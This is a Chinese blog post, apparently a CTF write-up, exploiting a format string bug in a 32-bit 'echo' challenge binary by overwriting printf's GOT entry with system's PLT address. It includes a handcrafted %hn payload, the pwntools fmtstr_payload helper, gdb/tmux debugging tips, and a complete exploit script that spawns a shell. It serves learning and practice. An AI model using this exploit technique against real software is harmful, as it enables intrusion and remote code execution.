Loading... <!-- wp:paragraph --> <p>一道简单的hijack got,我做了一下午,原因是"%7$hn"写成了"$7hn",说到底来还是不熟练。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":607,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201124184253.png" alt="" class="wp-image-607"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>存在明显的格式化字符串漏洞。我们考虑劫持printf的got表值为system的plt地址。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><code>payload = p32(printfgot + 2) + p32(printfgot) + "%2044c" + '%7$hn' + "%31740c" + '%8$hn'</code>就有了这样的payload。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>由于我在愚蠢的错误上卡住了,所以看了一些wp,发现pwntools集成了一个很强的工具,像这道题目我们可以通过<code>fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})</code>,其中argue_place代表payload中前四个字符所在的参数位置(就是说<code>%p$n</code>中p的值)。这样就非常的方便。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>然后我为了看我到底有没有修改got的值,我还看了一下如何借用gdb来动态调试,由于我使用的是wsl2,没有图形化界面,需要特殊处理</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>再exp中先指定terminal,添加一句</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>context.terminal = ['tmux','splitw','-h']</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>然后在创建进程变量后,添加</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>gdb.attach(proc.pidof(sh)[0],gdbscript="b main")#这里的sh是进程变量</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>这样调试时先打开tmux,然后就可以动态调试了</p> <!-- /wp:paragraph --> <!-- wp:image {"id":608,"sizeSlug":"large"} --> <figure class="wp-block-image size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/屏幕截图-2020-11-24-185410.png" alt="" class="wp-image-608"style=""></figure> <!-- /wp:image --> <!-- wp:paragraph --> <p>最后的exp</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * context(log_level = 'debug',arch = 'i386',os = 'linux') #context.terminal = ['tmux','splitw','-h'] elf = ELF("./echo") printfgot = elf.got["printf"] sh =process("./echo") #sh = remote("node3.buuoj.cn","25950") #gdb.attach(proc.pidof(sh)[0],gdbscript="b main") payload = p32(printfgot + 2) + p32(printfgot) + "%2044c" + '%7$hn' + "%31740c" + '%8$hn' sh.sendline(payload) sh.recvuntil("\n") sh.sendline("/bin/sh\x00") sh.interactive() </code></pre> <!-- /wp:code --> 最后修改:2020 年 12 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧